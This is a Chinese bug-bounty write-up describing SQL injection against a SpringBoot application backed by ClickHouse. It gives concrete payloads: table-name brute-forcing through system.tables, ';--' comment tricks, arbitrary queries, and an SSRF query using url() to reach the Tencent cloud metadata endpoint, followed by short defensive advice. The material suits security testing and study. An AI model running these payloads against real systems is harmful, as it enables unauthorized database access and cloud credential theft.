SRC挖掘之“捡”洞系列
字数 1358 2025-09-01 11:26:03
ClickHouse数据库安全漏洞挖掘实战指南
1. 前言
本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程,涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统,主要用于在线分析处理(OLAP),在大数据分析领域应用广泛。
2. 初始发现阶段
2.1 测试环境识别
- 目标系统为前后端分离架构,基于SpringBoot搭建
- 发现
/env端点泄露,但无敏感信息 - 发现Swagger UI界面,但接口需要本地访问(127.0.0.1)
2.2 关键发现
- 通过接口测试发现数据库报错,确认使用ClickHouse数据库
- 报错信息示例:
Table apaaslog.tmp doesn't exist - 传统SQL注入工具(sqlmap)无法直接利用该漏洞
3. ClickHouse数据库特性
3.1 与MySQL的区别
- ClickHouse是列式存储数据库,MySQL是行式存储
- 语法差异较大,传统SQL注入技术可能不适用
- 系统表结构不同,如
system.tables、system.clusters
3.2 关键语法特点
- 查询表名语法示例:
SELECT * from default.actors -- 表存在 SELECT * from default.actor1 -- 表不存在 - 注释语法需要分号:
;-- - URL函数可用于SSRF:
url('http://example.com', CSV, 'column1 String')
4. 漏洞挖掘过程
4.1 SQL注入确认
- 通过参数
logstore触发数据库报错 - 重构原始SQL语句:
SELECT * from apaaslog.tmp WHERE 1 = 1 AND appid = '1' AND tenantname != '' AND receive_date IN (today(), yesterday()) ORDER BY tenantname ASC
4.2 表名爆破技术
- 发现系统将点(.)前的内容识别为数据库名
- 输入
test.log→Database test doesn't exist - 输入
tmp→Table apaaslog.tmp doesn't exist
- 输入
- 使用系统表
system.tables测试:SELECT DISTINCT tenantcode, tenantname FROM system.tables WHERE 1 = 1 AND appid = '1' AND tenantname != '' AND receive_date IN (today(), yesterday()) ORDER BY tenantname ASC - 发现日志表可能使用
_log后缀,将点改为下划线爆破
4.3 注入利用技术
- 使用ClickHouse注释语法绕过条件:
;-- 注释掉后续WHERE条件 - 任意SQL查询示例:
SELECT * FROM valid_table; SELECT * FROM system.databases; -- 查询所有数据库
5. 高级利用技术
5.1 SSRF利用
- 通过URL函数实现SSRF:
SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/', CSV, 'column1 String, column2 UInt32') - 可用于云环境元数据窃取
5.2 集群信息收集
- 查询集群信息:
SELECT * FROM system.clusters - ClickHouse默认使用8123端口进行HTTP查询:
http://IP:8123?query=SQL语句
5.3 自动化工具利用
- 确认注入点后,可调整sqlmap参数进行利用
- 需注意ClickHouse特有的语法和函数
6. 防御建议
- 避免直接拼接用户输入到SQL查询中
- 使用参数化查询或ORM框架
- 限制数据库用户权限,避免使用高权限账户
- 禁用或保护Swagger UI等开发接口
- 定期检查并修复信息泄露端点(如/env)
7. 参考资源
- ClickHouse官方文档
- 在线测试环境:ClickHouse Playground
- 技术文章:ClickHouse与MySQL的区别
8. 总结
本案例展示了针对非传统数据库(ClickHouse)的安全测试方法,强调了对特定数据库特性的理解和利用。关键点包括:
- 通过报错信息识别数据库类型
- 针对特定语法调整测试方法
- 利用系统表和特有函数扩大攻击面
- 结合传统SQL注入技术与数据库特有功能
这种测试方法可以推广到其他类型的非关系型数据库,核心在于理解目标数据库的特有语法和功能。